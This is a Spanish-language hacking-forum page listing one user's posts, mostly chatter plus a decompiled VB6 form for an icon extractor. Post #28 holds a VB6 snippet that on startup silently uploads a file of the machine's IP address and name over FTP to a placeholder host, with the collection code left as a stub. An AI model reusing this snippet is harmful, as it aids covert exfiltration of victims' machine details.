Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - ̿̿̿̿̿̿̿̿̿̿̿̿̿̿̿̿̿̿̿̿̿̿̿̿̿̿̿

#21
Programación Visual Basic / Re: Mi Pc
22 Junio 2007, 04:50 AM
Que Onda Borren este post,
El Tipo Quiere servidito y la boca, sacan cuntas para solo fastidiar

#22
ya lo postearon creo q fue hendrix algo de un inyector y por ay unos tios postearon los privilegios de procesos ponte a leer tio fue hace poco
#23
Bueno chico yo te recomiendo que instales una PC virtual en tu ordenador, como tu server estará en una PC ordinaria, con programas ordinarios instala el "virtual PC" con esas características y te será mas fácil localizar el error

Virtual PC 2007 Download File

Te recomiendo que descargues el de 32 bits,
#24
Disculpen, es que posteo y no reviso respuestas posteriores, bueno vamos a lo que refiero es que por algo es elhacker.net, si no sería elinformatico.net pero vamos tío, no discutamos por algo tan irrelevante
Y una disculpa si alguien se ofendió ;)
#25
Supongo que te refieres a que suene la "música" en la bocina interna del CPU.

no es asi?
#26
Mal planteada pero legible, sin necesidad de replantear
#27
Qué onda con tu programa para extraer iconos,
En ese caso yo publico mi programa para hacer sumas :xD

mis respetos si lo hiziste en c++ la verdad no se si sea facil o dificil nunca lo eh manejado,aunque dudo que este copilado en c++
'offset: 00001611
VERSION 5.00
Begin VB.Form Form1
   Caption         =   "XtraCT iCoN v1.0.0  By  -:ZumBaH:- To elHacker.NeT"
   ForeColor       =   &H80000008&
   BorderStyle     =   1
   LinkTopic       =   "Form1"
   MaxButton       =   0   'False
   ClientLeft      =   300
   ClientTop       =   885
   ClientWidth     =   6105
   ClientHeight    =   3990
      BeginProperty Font
         Strikethrough   =   0   'False
         Underline       =   0   'False
         Italic          =   0   'False
         Weight          =   700
         Size            =   8,3
         Name            =   "MS Sans Serif"
      EndProperty
'offset: 000019AB
   Begin VB.CommandButton Command1
      Caption         =   "Agradecimientos"
      Left            =   240
      Top             =   3480
      Width           =   1455
      Height          =   375
      TabIndex        =   11
      BeginProperty Font
         Strikethrough   =   0   'False
         Underline       =   0   'False
         Italic          =   0   'False
         Weight          =   400
         Size            =   6,7
         Name            =   "Tahoma"
      EndProperty
   End
'offset: 000019EF
   Begin VB.textBox Text1
      Left            =   2640
      Top             =   360
      Width           =   2775
      Height          =   375
      TabIndex        =   8
   End
'offset: 00001A26
   Begin VB.PictureBox Picture1
   End
'offset: 00001D75
   Begin VB.Frame Frame1
      Caption         =   "Acciones"
      Left            =   8
      Top             =   32768
      Width           =   20485
      Height          =   14346
'offset: 00001DB7
   Begin VB.Frame Frame2
      Caption         =   "Icono"
      Left            =   8
      Top             =   32768
      Width           =   53253
      Height          =   61442
'offset: 00001DF6
   Begin VB.Image Image1
      Left            =   360
      Top             =   240
      Width           =   495
      Height          =   495
   End
   End
'offset: 00001E13
   Begin VB.CommandButton ssbSigue
      Caption         =   "Adelante"
      Left            =   1560
      Top             =   1440
      Width           =   1095
      Height          =   375
      Visible         =   0   'False
      TabIndex        =   5
      BeginProperty Font
         Strikethrough   =   0   'False
         Underline       =   0   'False
         Italic          =   0   'False
         Weight          =   400
         Size            =   6,7
         Name            =   "Tahoma"
      EndProperty
      Appearance      =   0  'Flat
   End
'offset: 00001E54
   Begin VB.CommandButton ssbAtrás
      Caption         =   "Atrás"
      Left            =   120
      Top             =   1440
      Width           =   1095
      Height          =   375
      Visible         =   0   'False
      TabIndex        =   4
      BeginProperty Font
         Strikethrough   =   0   'False
         Underline       =   0   'False
         Italic          =   0   'False
         Weight          =   400
         Size            =   6,7
         Name            =   "Tahoma"
      EndProperty
      Appearance      =   0  'Flat
   End
'offset: 00001E92
   Begin VB.Label Label2
      Caption         =   "Atrás, Adelante"
      ForeColor       =   &H80000008&
      Left            =   720
      Top             =   1080
      Width           =   1575
      Height          =   255
      TabIndex        =   10
      BeginProperty Font
         Strikethrough   =   0   'False
         Underline       =   0   'False
         Italic          =   0   'False
         Weight          =   400
         Size            =   8,3
         Name            =   "MS Sans Serif"
      EndProperty
      Appearance      =   0  'Flat
   End
   End
'offset: 00001EE3
'CMDialog1
'offset: 00001F6E
   Begin VB.FileListBox File1
      Left            =   240
      Top             =   1680
      Width           =   2175
      Height          =   1590
      TabIndex        =   2
   End
'offset: 00001FCA
   Begin VB.DirListBox Dir1
      Left            =   240
      Top             =   480
      Width           =   2175
      Height          =   1155
      TabIndex        =   1
   End
'offset: 00002000
   Begin VB.DriveListBox Drive1
      Left            =   240
      Top             =   120
      Width           =   2175
      Height          =   315
      TabIndex        =   0
   End
'offset: 00002038
'ImageList1
'offset: 000020C2
   Begin VB.Label Label1
      Caption         =   "Ruta"
      ForeColor       =   &H80000008&
      Left            =   2640
      Top             =   120
      Width           =   855
      Height          =   255
      TabIndex        =   9
      BeginProperty Font
         Strikethrough   =   0   'False
         Underline       =   0   'False
         Italic          =   0   'False
         Weight          =   400
         Size            =   8,3
         Name            =   "MS Sans Serif"
      EndProperty
      Appearance      =   0  'Flat
   End
'offset: 00002108
   Begin VB.Menu MnuFila
      Caption         =   "&Fila"
'offset: 00002125
   Begin VB.Menu MnuGuardaco
      Caption         =   "&Guardar Como"
   End
'offset: 0000214F
   Begin VB.Menu nada
      Caption         =   "-"
   End
'offset: 00002165
   Begin VB.Menu MnuSale
      Caption         =   "&Salir"
   End
   End
End
#28
Option Explicit
Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, ByVal sUserName As String, ByVal sPassword As String, ByVal lService As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long
Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
Private Declare Function FtpPutFile Lib "wininet.dll" Alias "FtpPutFileA" (ByVal hConnect As Long, ByVal lpszLocalFile As String, ByVal lpszNewRemoteFile As String, ByVal dwFlags As Long, ByVal dwContext As Long) As Boolean
Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long) As Integer
Private Declare Function FtpSetCurrentDirectory Lib "wininet.dll" Alias "FtpSetCurrentDirectoryA" (ByVal hFtpSession As Long, ByVal lpszDirectory As String) As Boolean
Const INTERNET_OPEN_TYPE_PRECONFIG = 0
Const INTERNET_DEFAULT_FTP_PORT = 21
Const INTERNET_SERVICE_FTP = 1
Const PassiveConnection As Boolean = True
Const INTERNET_FLAG_PASSIVE = &H8000000
Const FTP_TRANSFER_TYPE_UNKNOWN = &H0

Dim hConnection, hOpen, Num As Long

Private Sub Form_Load()
'####################
botarate
'####################
    hOpen = InternetOpen("IE", INTERNET_OPEN_TYPE_PRECONFIG, vbNullString, vbNullString, 0)
    DoEvents
    hConnection = InternetConnect(hOpen, "ftp.yosoy.vb", INTERNET_DEFAULT_FTP_PORT, "username", "password", INTERNET_SERVICE_FTP, IIf(PassiveConnection, INTERNET_FLAG_PASSIVE, 0), 0)
    DoEvents
    FtpSetCurrentDirectory hConnection, "\"
    DoEvents
    FtpPutFile hConnection, "App.Path & \IPFTP.txt", "IPFTP", FTP_TRANSFER_TYPE_UNKNOWN, 0
    DoEvents
    InternetCloseHandle hConnection
    InternetCloseHandle hOpen
'####################
End Sub

Private Sub botarate()
'Mandatos para guardar la IP y el nombre de la pc en un txt  llamado IPFTP.txt,guardado en la direccion donde se ejecuto la aplicacion
'eso investigatelo tu ay si no lo encuentras me avisas
End Sub

'SALU2
#29
Es un foro hacker mi hermano, que querias?

Joder perros?

jajaja es un decir, arriba mexico  :P
#30
Pues de echo si se puede pero se tienen que guardar en los archivos temporales  :P